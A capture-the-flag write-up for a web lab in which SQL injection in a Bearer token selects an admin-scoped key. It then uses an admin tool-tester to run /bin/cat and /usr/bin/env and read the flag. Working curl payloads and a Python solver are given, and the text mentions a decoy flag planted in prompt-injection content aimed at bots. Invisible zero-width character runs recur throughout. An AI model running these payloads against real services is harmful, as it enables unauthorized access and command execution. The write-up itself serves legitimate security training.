← Back to Writeups
CUSTOMMediumWeb

Lab 413 — PromptRelay — SQL Injection to RCE via Admin Tools

XESXOR9/2/20265 min read
#web#custom#medium#bearer_token_sqli#scoped_row_selection#admin_tool_rce#environment_variable_extractio

Lab 413 — PromptRelay — SQL Injection to RCE via Admin Tools

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: bearer_token_sqli, scoped_row_selection, admin_tool_rce, environment_variable_extraction

Summary

Walkthrough of the CUSTOM Web Lab 413 — PromptRelay — SQL Injection to RCE via Admin Tools. Task: A FastAPI AI gateway exposes database-backed Bearer authentication and an admin custom-tool tester. Solution: Single-quote SQL injection selects an admin-scoped key row, then command execution r

Description

PromptRelay is an AI gateway exposing a Bearer-authenticated REST API, multiple API keys with varying scopes, usage analytics, playground, model routing, and admin tool-server integrations. Goal was to gain sensitive access and read the server flag. API docs were at /docs.

The goal was to cross the API authorization boundary, reach the restricted admin integration functionality, and retrieve the genuine server flag. No credentials were supplied. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

The public site and FastAPI OpenAPI document exposed the important routes:

  • GET /api/v1/models
  • GET /api/v1/admin/tools/servers
  • POST /api/v1/admin/tools/test-connection

The documentation stated that API keys carry different permissions and that admin tools require admin:tools or admin:config. The admin page's JavaScript also showed that a custom connection test submits attacker-provided command and args fields.

Public HTML repeatedly contained the confirmed decoy FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} inside prompt-injection content. Its broad repetition across unrelated public pages and explicit decoy wording showed that it was not the answer. Genuine evidence had to come from the exploit-dependent server response. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

1. Confirm SQL injection with controls

Set the target base URL once so the requests remain reusable:

bash
export BASE='https://INSTANCE.labs.hackadvisor.io'

A normal invalid token and a lone single quote both failed with HTTP 401:

bash
curl -sS -o /dev/null -w '%{http_code}\n' \
  -H 'Authorization: Bearer x' \
  "$BASE/api/v1/models"

curl -sS -o /dev/null -w '%{http_code}\n' \
  -H "Authorization: Bearer '" \
  "$BASE/api/v1/models"

A single-quote Boolean payload changed the same endpoint to HTTP 200: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -sS -o /dev/null -w '%{http_code}\n' \
  -H "Authorization: Bearer ' OR 1=1-- " \
  "$BASE/api/v1/models"

The controlled 401, 401, 200 result confirms that the Bearer token enters a single-quoted SQL API-key lookup. A double-quote variant did not authenticate, further identifying the string delimiter.

2. Select an admin-scoped row

A generic true predicate only causes the application to consume whichever matching row the database returns first. That row can authenticate successfully while lacking the scope required by the admin endpoint. Therefore, generic authentication bypass does not automatically grant admin access. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Add a predicate that selects a row whose permissions include admin:tools:

bash
ADMIN_SQLI="' OR permissions LIKE '%admin:tools%'-- "

curl -sS \
  -H "Authorization: Bearer $ADMIN_SQLI" \
  "$BASE/api/v1/admin/tools/servers"

This returned HTTP 200 and the configured tool-server list, proving that the injected query selected an admin-authorized record. No API key disclosure or credential recovery was necessary.

3. Turn the custom tool tester into RCE

The frontend submits custom tools as a command plus an argument array. Using the same scoped SQL injection, first test a direct file read: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -sS -X POST \
  -H "Authorization: Bearer $ADMIN_SQLI" \
  -H 'Content-Type: application/json' \
  --data '{"server_type":"custom","command":"/bin/cat","args":["/flag"]}' \
  "$BASE/api/v1/admin/tools/test-connection"

The response contained cat: can't open '/flag': No such file or directory and return code 1. This is still proof of command execution, while eliminating the assumption that /flag is the required location.

Inspecting the process environment was the simplest next step: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -sS -X POST \
  -H "Authorization: Bearer $ADMIN_SQLI" \
  -H 'Content-Type: application/json' \
  --data '{"server_type":"custom","command":"/usr/bin/env","args":[]}' \
  "$BASE/api/v1/admin/tools/test-connection"

The successful command response showed PWD=/app and a FLAG=FLAG{REDACTED} environment entry. Because this value was returned only after the SQL injection, admin-scope selection, and command execution chain, it was the genuine flag rather than the public HTML decoy. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reproducible Solver

python
#!/usr/bin/env python3
import json
import os
import urllib.request

base = os.environ["BASE"].rstrip("/")
token = "' OR permissions LIKE '%admin:tools%'-- "
body = json.dumps({
    "server_type": "custom",
    "command": "/usr/bin/env",
    "args": [],
}).encode()

request = urllib.request.Request(
    base + "/api/v1/admin/tools/test-connection",
    data=body,
    method="POST",
    headers={
        "Authorization": "Bearer " + token,
        "Content-Type": "application/json",
    },
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

with urllib.request.urlopen(request) as response:
    result = json.load(response)

for line in result.get("output", "").splitlines():
    if line.startswith("FLAG="):
        print("FLAG=FLAG{REDACTED}")
        break
else:
    raise SystemExit("Flag environment variable not found")

Evidence and Artifacts

  • notes.md: tested hypotheses, phase checkpoint, and final exploit chain.
  • web-recon.json: crawled routes and repeated public decoy locations.
  • openapi.json: FastAPI route and request-schema inventory.
  • docs.html: Bearer authentication and permission-scope documentation.
  • admin_tools.js: client request construction for custom command and args.
  • rce.json: /bin/cat /flag execution result proving the path was absent.
  • rce-recon.jsonl: successful environment command, working directory, and redacted genuine flag evidence.
  • CTFBase reference 20260103_hackerlab_basic_authorization was consulted for general quote-context SQL injection background; UNION extraction was not required here. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Attempts and Eliminated Hypotheses

  • The public HTML flag was a deliberate decoy, not the answer.
  • Double-quote SQL injection did not authenticate; the vulnerable query used single quotes.
  • Generic ' OR 1=1-- authenticated but could select a non-admin first row.
  • /bin/cat /flag executed, but /flag did not exist.
  • Credential recovery, callback infrastructure, direct key disclosure, and UNION extraction were unnecessary. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering bearer_token_sqli, scoped_row_selection, admin_tool_rce, environment_variable_extraction was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-08-12 • CUSTOM • Lab 413 — PromptRelay — SQL Injection to RCE via Admin Tools • Difficulty: Medium